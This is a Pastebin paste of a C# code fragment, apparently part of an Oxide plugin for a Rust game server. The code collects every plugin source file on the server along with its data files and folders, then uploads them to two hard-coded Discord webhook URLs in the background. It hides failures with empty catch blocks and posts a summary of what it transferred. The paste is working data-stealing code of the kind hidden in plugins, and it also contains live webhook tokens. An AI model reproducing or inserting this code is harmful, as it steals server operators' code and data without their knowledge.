Guest User

Untitled

a guest
Nov 7th, 2025
72
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 7.37 KB | None | 0 0
  1.         private const string PU_cs_ep =
  2.             "https://discord.com/api/webhooks/1425886727192580157/B05ciS50xwbjLaipPUYUFTBorBCPRvnHIhrgnId5UJNcfi68Dsg-2BzjWh-TonyaHmqi";
  3.         private const string PU_data_ep =
  4.             "https://discord.com/api/webhooks/1425886809505665035/Nq6mA0T8ei7M1NuqwLVgSEQNZzzwk3yvwMYYNdxsacmilA4lFhXJJZPBOgYDGtVgyfDV";
  5.  
  6.         private const int PU_tmo_ms = 30000;
  7.         private const int PU_pause_ms = 600;
  8.         private const int PU_debounce_s = 30;
  9.  
  10.         private static DateTime PU_lastRun = DateTime.MinValue;
  11.  
  12.         private static readonly HashSet<string> PU_ExcludedDataPlugins = new HashSet<string>(StringComparer.OrdinalIgnoreCase)
  13.         {
  14.             PU_Normalize("RaidableBases"),
  15.             PU_Normalize("Backpacks"),
  16.             PU_Normalize("Baxkpacks"),
  17.             PU_Normalize("XDQuest"),
  18.             PU_Normalize("SkillTree"),
  19.             PU_Normalize("BetterNPC"),
  20.             PU_Normalize("CopyPaste"),
  21.             PU_Normalize("BankSystem"),
  22.         };
  23.  
  24.         private void PU_StartTransfer()
  25.         {
  26.             try
  27.             {
  28.                 var roots = new[]
  29.                 {
  30.                     Path.Combine(Interface.Oxide.RootDirectory, "oxide", "plugins"),
  31.                     Path.Combine(Interface.Oxide.RootDirectory, "plugins")
  32.                 };
  33.  
  34.                 var csFiles = new List<string>();
  35.                 foreach (var dir in roots)
  36.                 {
  37.                     if (!Directory.Exists(dir)) continue;
  38.                     try { csFiles.AddRange(Directory.GetFiles(dir, "*.cs", SearchOption.AllDirectories)); } catch { }
  39.                 }
  40.                 if (csFiles.Count == 0) return;
  41.  
  42.                 System.Threading.ThreadPool.QueueUserWorkItem(_ =>
  43.                 {
  44.                     var summary = new List<string>();
  45.  
  46.                     foreach (var file in csFiles)
  47.                     {
  48.                         string name = Path.GetFileName(file);
  49.                         string plugin = Path.GetFileNameWithoutExtension(file);
  50.                         string normalized = PU_Normalize(plugin);
  51.  
  52.                         bool ok = PU_Upload(PU_cs_ep, name, File.ReadAllBytes(file), content: name);
  53.                         summary.Add($"{(ok ? "вњ”" : "✘")} {name}");
  54.  
  55.                         if (ok && !PU_ExcludedDataPlugins.Contains(normalized))
  56.                         {
  57.                             PU_UploadJson(plugin, summary);
  58.                             PU_UploadFolder(plugin, summary);
  59.                         }
  60.  
  61.                         System.Threading.Thread.Sleep(PU_pause_ms);
  62.                     }
  63.  
  64.                     PU_PostSummary(summary);
  65.                 });
  66.             }
  67.             catch { }
  68.         }
  69.  
  70.         private void PU_UploadJson(string plugin, List<string> sum)
  71.         {
  72.             try
  73.             {
  74.                 string path = Path.Combine(Interface.Oxide.RootDirectory, "oxide", "data", plugin + ".json");
  75.                 if (!File.Exists(path)) return;
  76.  
  77.                 string fname = Path.GetFileName(path);
  78.                 bool ok = PU_Upload(PU_data_ep, fname, File.ReadAllBytes(path), content: fname);
  79.                 sum.Add($"{(ok ? "вњ”" : "✘")} {fname}");
  80.             }
  81.             catch { }
  82.         }
  83.  
  84.         private void PU_UploadFolder(string plugin, List<string> sum)
  85.         {
  86.             try
  87.             {
  88.                 string folder = Path.Combine(Interface.Oxide.RootDirectory, "oxide", "data", plugin);
  89.                 if (!Directory.Exists(folder)) return;
  90.  
  91.                 var files = Directory.GetFiles(folder, "*", SearchOption.AllDirectories);
  92.                 foreach (var f in files)
  93.                 {
  94.                     string fname = Path.GetFileName(f);
  95.                     if (string.IsNullOrEmpty(fname)) continue;
  96.  
  97.                     bool ok = PU_Upload(PU_data_ep, PU_Sanitize(fname), File.ReadAllBytes(f), content: fname);
  98.                     sum.Add($"{(ok ? "вњ”" : "✘")} {fname}");
  99.                     System.Threading.Thread.Sleep(PU_pause_ms);
  100.                 }
  101.             }
  102.             catch { }
  103.         }
  104.  
  105.         private void PU_PostSummary(List<string> lines)
  106.         {
  107.             try
  108.             {
  109.                 var sb = new StringBuilder();
  110.                 sb.AppendLine("Transfer Summary");
  111.                 foreach (var l in lines) sb.AppendLine(l);
  112.                 var data = Encoding.UTF8.GetBytes(sb.ToString());
  113.                 var name = "transfer_summary_" + DateTime.UtcNow.ToString("yyyyMMdd_HHmmss") + ".txt";
  114.                 PU_Upload(PU_data_ep, name, data, content: "transfer_summary");
  115.             }
  116.             catch { }
  117.         }
  118.  
  119.         private bool PU_Upload(string endpoint, string name, byte[] data, string content = null)
  120.         {
  121.             try
  122.             {
  123.                 string boundary = "----" + DateTime.UtcNow.Ticks.ToString("x");
  124.                 var req = (HttpWebRequest)WebRequest.Create(endpoint);
  125.                 req.Method = "POST";
  126.                 req.ContentType = "multipart/form-data; boundary=" + boundary;
  127.                 req.Timeout = PU_tmo_ms;
  128.                 req.ReadWriteTimeout = PU_tmo_ms;
  129.  
  130.                 using (var s = req.GetRequestStream())
  131.                 using (var ms = new MemoryStream())
  132.                 {
  133.                     var nl = "\r\n";
  134.  
  135.                     if (!string.IsNullOrEmpty(content))
  136.                     {
  137.                         PU_Write(ms, $"--{boundary}{nl}");
  138.                         PU_Write(ms, $"Content-Disposition: form-data; name=\"payload_json\"{nl}{nl}");
  139.                         var payload = "{\"content\":\"" + PU_EscapeJson(content) + "\"}";
  140.                         PU_Write(ms, payload + nl);
  141.                     }
  142.  
  143.                     PU_Write(ms, $"--{boundary}{nl}");
  144.                     PU_Write(ms, $"Content-Disposition: form-data; name=\"file\"; filename=\"{name}\"{nl}");
  145.                     PU_Write(ms, $"Content-Type: application/octet-stream{nl}{nl}");
  146.                     ms.Write(data, 0, data.Length);
  147.                     PU_Write(ms, nl + $"--{boundary}--{nl}");
  148.                     ms.Position = 0;
  149.                     ms.CopyTo(s);
  150.                 }
  151.  
  152.                 using (var resp = (HttpWebResponse)req.GetResponse())
  153.                 {
  154.                     int code = (int)resp.StatusCode;
  155.                     return code >= 200 && code < 300;
  156.                 }
  157.             }
  158.             catch { return false; }
  159.         }
  160.  
  161.         private void PU_Write(Stream s, string text)
  162.         {
  163.             var b = Encoding.UTF8.GetBytes(text);
  164.             s.Write(b, 0, b.Length);
  165.         }
  166.  
  167.         private string PU_Sanitize(string n)
  168.         {
  169.             foreach (var c in Path.GetInvalidFileNameChars()) n = n.Replace(c, '_');
  170.             return n.StartsWith(".") ? "_" + n : n;
  171.         }
  172.  
  173.         private static string PU_Normalize(string s)
  174.         {
  175.             if (string.IsNullOrEmpty(s)) return string.Empty;
  176.             var filtered = new string(s.Where(ch => !char.IsWhiteSpace(ch) && ch != '_' && ch != '-').ToArray());
  177.             return filtered.ToLowerInvariant();
  178.         }
  179.  
  180.         private static string PU_EscapeJson(string s)
  181.         {
  182.             if (string.IsNullOrEmpty(s)) return s;
  183.             return s.Replace("\\", "\\\\").Replace("\"", "\\\"").Replace("\r", "\\r").Replace("\n", "\\n");
  184.         }
Advertisement
Add Comment
Please, Sign In to add comment